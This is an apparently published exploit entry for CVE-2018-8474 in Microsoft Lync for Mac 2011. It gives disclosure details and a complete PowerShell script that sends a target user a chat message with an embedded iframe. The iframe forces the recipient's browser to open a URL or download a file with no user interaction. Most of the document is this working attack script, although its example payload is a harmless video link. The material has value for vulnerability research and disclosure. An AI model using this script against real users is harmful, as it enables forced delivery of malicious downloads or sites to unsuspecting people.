Microsoft Lync for Mac 2011 - Injection Forced Browsing/Download

# Exploit Title: Microsoft Lync for Mac 2011 Injection Forced Browsing/Download
# Author: @nyxgeek - TrustedSec

# Date: 2018-03-20
# Vendor Homepage: microsoft.com
# Software Link: https://www.microsoft.com/en-us/download/details.aspx?id=36517
# CVE: CVE-2018-8474
# Version: Lync:Mac 2011 14.4.3, likely earlier versions
# Tested on: Lync:Mac 2011 14.4.3 (170308)

# Description:
# Force browsing or download via embedded iframe in a chat window. No user
# interaction required. When the iframe contains a web site URL, a new browser
# window of the default browser will open with the URL.
# If the URL is a file, it will download it automatically if it is a permitted
# file type (e.g., zip)

# A  write-up can be found at:
# https://www.trustedsec.com/2018/09/full-disclosure-microsoft-lync-for-mac-2011-susceptible-to-forced-browsing-download-attack/

# Requirements: Originating machine needs Lync 2013 SDK installed
# (https://www.microsoft.com/en-us/download/details.aspx?id=36824)

# Timeline of Disclosure:
#
# 07/18/2017 - Reported issue to Microsoft
# 11/22/2017 - Microsoft has reproduced problem
# 03/07/2018 - Microsoft replies that they have decided not to fix, but gave
#              their blessing for disclosure


#target user
$target = "user@domain"

$message = "<iframe src='https://www.youtube.com/watch?v=9Rnr70wCQSA'></iframe>"


if (-not (Get-Module -Name Microsoft.Lync.Model))
{
    try
        {
   # you may need to change the location of this DLL
            Import-Module "C:\Program Files\Microsoft Office\Office15\LyncSDK\Assemblies\Desktop\Microsoft.Lync.Model.dll" -ErrorAction Stop
        }
    catch
        {
            Write-Warning "Microsoft.Lync.Model not available, download and install the Lync 2013 SDK http://www.microsoft.com/en-us/download/details.aspx?id=36824"
        }
}

 # Connect to the local Skype process
    try
    {
        $client = [Microsoft.Lync.Model.LyncClient]::GetClient()
    }
    catch
    {
        Write-Host "`nYou need to have Skype open and signed in first"
        break
    }

     #Start Conversation
    $msg = New-Object "System.Collections.Generic.Dictionary[Microsoft.Lync.Model.Conversation.InstantMessageContentType, String]"

    #Add the Message
    $msg.Add(1,$message)

    # Add the contact URI
    try
    {
        $contact = $client.ContactManager.GetContactByUri($target)
    }
    catch
    {
        Write-Host "`nFailed to lookup Contact"$target
        break
    }


    # Create a conversation
    $convo = $client.ConversationManager.AddConversation()
    $convo.AddParticipant($contact) | Out-Null

    # Set the message mode as IM
    $imModality = $convo.Modalities[1]
    # Send the message
    $imModality.BeginSendMessage($msg, $null, $imModality) | Out-Null
    # End the Convo to suppress the UI
    $convo.End() | Out-Null

    Write-Host "Sent the following message to "$target":`n"$message